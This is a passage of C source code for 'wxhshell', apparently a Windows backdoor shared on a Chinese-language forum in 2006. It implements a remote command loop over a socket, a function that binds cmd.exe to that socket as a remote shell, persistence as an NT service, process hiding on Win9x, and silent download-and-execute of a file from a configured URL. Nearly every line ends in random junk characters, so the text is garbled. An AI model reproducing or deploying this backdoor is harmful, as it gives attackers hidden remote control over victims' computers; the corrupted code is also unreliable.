  else { TX&Jt%  
x7eQ2h6O  
    switch(cmd[0]) { c'S,hCe*  
  M!REygyx  
  // 帮助 F!]lU`z)=  
  case '?': { =AEBeiz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?B}{GL2)  
    break; $h*L=t(  
  } 8n*.).33  
  // 安装 &L,nqc\3D5  
  case 'i': { O8j_0  
    if(Install()) )'6DNa[y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N<IT w/@^  
    else $Z\.-QE\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FXi{87F2  
    break; Jc|6&  
    } WZ*ws[dVI  
  // 卸载 VCD:3U 8  
  case 'r': { 8j=}u/T@F  
    if(Uninstall()) Na?!;1]_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RM!<8fXYD  
    else |4uWh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )C(? bR  
    break; l@\#Ywz  
    } hKT  
  // 显示 wxhshell 所在路径 YTexv;VNb|  
  case 'p': { 98uV6b~g  
    char svExeFile[MAX_PATH]; G"Sd@%W(  
    strcpy(svExeFile,"\n\r"); VrxQc qPr`  
      strcat(svExeFile,ExeFile); 2 -C!jAfd  
        send(wsh,svExeFile,strlen(svExeFile),0);  wv\w;'  
    break; C'o64+W^  
    } ! 3 f?:M  
  // 重启 =[@zF9  
  case 'b': { oaoU _V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); / ;,Md,p  
    if(Boot(REBOOT)) _YLfL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lna}@]oR  
    else { =A!@6Nw  
    closesocket(wsh); .`4{9?bR  
    ExitThread(0); g!+| I  
    } + EGD.S{  
    break; w (/aiV  
    } CkdP#}f  
  // 关机 ^7 &5 z&o  
  case 'd': { Ipq"E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uFPF!Ern  
    if(Boot(SHUTDOWN)) 7 D^gMN%p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [`c^ 4 E  
    else { zY"1drE>G  
    closesocket(wsh); "6us#T  
    ExitThread(0); FMClSeO7  
    } p4-o/8rO  
    break; ]jmL]Ny^  
    } 5`gQ~   
  // 获取shell e0T34x'  
  case 's': { vfE6Ggz  
    CmdShell(wsh); ysQ,)QoiR{  
    closesocket(wsh);  f-E( "o  
    ExitThread(0); R)RG[F#   
    break; }5}.lJ:  
  } =W BTm  
  // 退出 .[3Z1v,  
  case 'x': { zY('t!u8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WqXbI4;pJ  
    CloseIt(wsh); H=Y{rq@  
    break; /eOzXCSws  
    } Ct=- 4  
  // 离开 4bw4cqY;  
  case 'q': { VI'hb'2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ),ma_{$N  
    closesocket(wsh); ,kF}lo)  
    WSACleanup(); 1][S#H/?  
    exit(1); Gr^E+#;  
    break; hnc@  
        } 0^RXGN  
  } zBk'{[y9L  
  } % Cv D-![0  
8_ tK4PwP  
  // 提示信息 I^8"{J.Q)[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); % <q w  
} t`,` 6@d  
  } elFtBnL'  
t<|NLk.  
  return; 8@2OJ=`[  
} p~,]*y:XT  
kAC&S!n  
// shell模块句柄 _J? Dq  
int CmdShell(SOCKET sock) T3pmVl  
{ Ou1JIxZ)|  
STARTUPINFO si; }0X:F`Y-  
ZeroMemory(&si,sizeof(si)); %+K<<iyR|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R]btAu;Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a8 mVFm  
PROCESS_INFORMATION ProcessInfo; ?`#/ 8PN  
char cmdline[]="cmd"; < !dqTJos  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yRfSJbzaf\  
  return 0; KjE+QUa  
} Y~(Md@!0S  
<c,u3cp  
// 自身启动模式 DFd%9*N  
int StartFromService(void) NF0%}II&xK  
{ o)2W`i&  
typedef struct \DD0s8  
{ thvYL.U :  
  DWORD ExitStatus; {'2@(^3  
  DWORD PebBaseAddress; o17ekML  
  DWORD AffinityMask; rjPL+T_  
  DWORD BasePriority; vc+ARgvH+  
  ULONG UniqueProcessId; bdibaN-h  
  ULONG InheritedFromUniqueProcessId; p n.T~"%  
}   PROCESS_BASIC_INFORMATION; `/ q|@B7  
##V5-ZG{:  
PROCNTQSIP NtQueryInformationProcess; g;8jK 8 Kh  
h}cy D7Wn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N 0= ac5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?hWwj6i&  
S!3S4:]B^  
  HANDLE             hProcess; NZ-\h  
  PROCESS_BASIC_INFORMATION pbi; p-zXp K"  
[vHv0"   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v(-{=*':  
  if(NULL == hInst ) return 0; J~1r{5V4{  
=UJ:tSr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (v}>tb*#`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PV4(hj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3+G@g#MY  
8$ma;U d  
  if (!NtQueryInformationProcess) return 0; h0g:@ae%&  
$d)ca9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7~GB;1n  
  if(!hProcess) return 0; X '`~s}vGO  
\7l-@6 '7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tp-l^?O-p  
mqAWL:VvQ7  
  CloseHandle(hProcess); :xh?e N&  
bV$)!]V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G1"zElug  
if(hProcess==NULL) return 0; 0DmMG  
OVko+X`  
HMODULE hMod; 8rMX9qTO@  
char procName[255]; I>[RqG  
unsigned long cbNeeded; !2'jrJGc  
-sjd&)~S[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pm\x~3jHs  
\CXQo4P  
  CloseHandle(hProcess); :I:!BXQT$  
4x;/HEb7?  
if(strstr(procName,"services")) return 1; // 以服务启动  ?kZTI (  
{FIXc^m'  
  return 0; // 注册表启动 %QKRFPYhS  
} k-HCeZ  
1}:bqI.<W  
// 主模块 _:-ha?W$;y  
int StartWxhshell(LPSTR lpCmdLine) LX@/RAd vz  
{ L2pp6bW  
  SOCKET wsl; )d$glI+  
BOOL val=TRUE; H N.3  
  int port=0; u\LFlX0sO  
  struct sockaddr_in door; hvuIxqv!y  
%9M~f*  
  if(wscfg.ws_autoins) Install(); 0LfU=X0#7  
&znQ;NH#  
port=atoi(lpCmdLine); m"fNK$_d  
E !a|Xp  
if(port<=0) port=wscfg.ws_port; \yd s5g!:  
-x'z XvWZ  
  WSADATA data; 839IRM@'5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qZh1`\G  
%ix)8+Eb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DVK)2La  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C#t'Y*  
  door.sin_family = AF_INET; 9XRZ$j}L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t7m>A-I  
  door.sin_port = htons(port); |pmZ.r  
LwK+:4$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (q4),y<:[  
closesocket(wsl); q&Gz ]  
return 1; eOXHQjuj  
} &p}$J )q  
8 XICF  
  if(listen(wsl,2) == INVALID_SOCKET) { $`wMX{  
closesocket(wsl); VsN pHQG]  
return 1; a_ `[Lj  
} 7G\\{  
  Wxhshell(wsl); )EL!D%<A  
  WSACleanup(); j8fpj{hp  
0MkSf*  
return 0; ??i,Vr@)w  
{2+L @  
} Mnz!nWhk  
<IC~ GqXv  
// 以NT服务方式启动 EC\yz H*X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cFJ-Mkl l  
{ T[sDVkCbxf  
DWORD   status = 0; B7]C]=${m  
  DWORD   specificError = 0xfffffff; qOUqs'7/]  
aAA9$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >2Jdq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +=mkCU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,daKC  
  serviceStatus.dwWin32ExitCode     = 0; m <w "T7  
  serviceStatus.dwServiceSpecificExitCode = 0; V0%V5>  
  serviceStatus.dwCheckPoint       = 0; qR8u$2}NY  
  serviceStatus.dwWaitHint       = 0; +{/*z  
Q^q1 ns;r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F P>)&3>_  
  if (hServiceStatusHandle==0) return; .'rW.'Ft  
`"@g8PWe  
status = GetLastError(); }Y*VAnY6;  
  if (status!=NO_ERROR) ' /$d0`3B>  
{ ,N e;kI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OI?K/rn  
    serviceStatus.dwCheckPoint       = 0; ph_4q@  
    serviceStatus.dwWaitHint       = 0; PIWux {  
    serviceStatus.dwWin32ExitCode     = status; IR-dU<<9O  
    serviceStatus.dwServiceSpecificExitCode = specificError; \MmI`$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w 1Ec_y{  
    return; Q\WC+,_%  
  } DF g,Xa#  
-CR?<A4mud  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /MF! GM  
  serviceStatus.dwCheckPoint       = 0; ?qX)ihe%k  
  serviceStatus.dwWaitHint       = 0; 9&2Vm;F_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n f.wCtf].  
} \|Ul]1pO8  
PmR~c,  
// 处理NT服务事件,比如:启动、停止 \T\b NbPn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2{Chu85   
{ 3` #6ACF  
switch(fdwControl) (lGaPMEU}  
{ 6sE{{,OGB  
case SERVICE_CONTROL_STOP: BA:yQ  
  serviceStatus.dwWin32ExitCode = 0; 2PeR   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -YjA+XP  
  serviceStatus.dwCheckPoint   = 0; \/SQ,*O  
  serviceStatus.dwWaitHint     = 0; b.@P%`@a.  
  { E!Zx#XP1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sU!6hk  
  } d)[;e()  
  return; 4_UU<GEp  
case SERVICE_CONTROL_PAUSE: `D":Q=:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z{ u a=0  
  break; $F/EJ>  
case SERVICE_CONTROL_CONTINUE: cwuO[^S}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Sje wuIi1  
  break; JIFU;*PR1  
case SERVICE_CONTROL_INTERROGATE: #CnHf  
  break; c(/VYMJZ&  
}; shH~4<15  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Khe!g1=&X  
} iajX~kv  
[Cb` {  
// 标准应用程序主函数 NziZTU}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $Y9jrR'w  
{ -\y-qHgb/  
'Vr$MaO  
// 获取操作系统版本 o d7]tOK9  
OsIsNt=GetOsVer(); e.*%K!(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cDoo*  
$%%os6y2v  
  // 从命令行安装 i z~ pGkt  
  if(strpbrk(lpCmdLine,"iI")) Install(); Yyfq  
g!`3{ /4  
  // 下载执行文件 Y(+^;Y3U  
if(wscfg.ws_downexe) { Rm5Kkzd0o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bO;(bE m@  
  WinExec(wscfg.ws_filenam,SW_HIDE); QeDQ o  
} ?hR7<02  
WnH UE  
if(!OsIsNt) { Y];Ycj;  
// 如果时win9x,隐藏进程并且设置为注册表启动 9M /SH$Qy  
HideProc(); `s]4AKBO  
StartWxhshell(lpCmdLine); =rd|0K"(r  
} enTW0U}  
else 5PIZh<  
  if(StartFromService()) ]u-02g  
  // 以服务方式启动 z**hD2R!  
  StartServiceCtrlDispatcher(DispatchTable); pCu!l#J  
else  8*c3|  
  // 普通方式启动 YxGcFjJ  
  StartWxhshell(lpCmdLine); Ox#Q2W@Uy  
KT.?Xp:z  
return 0; ]=EM@  
}
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只看该作者 1 发表于: 2006-10-10
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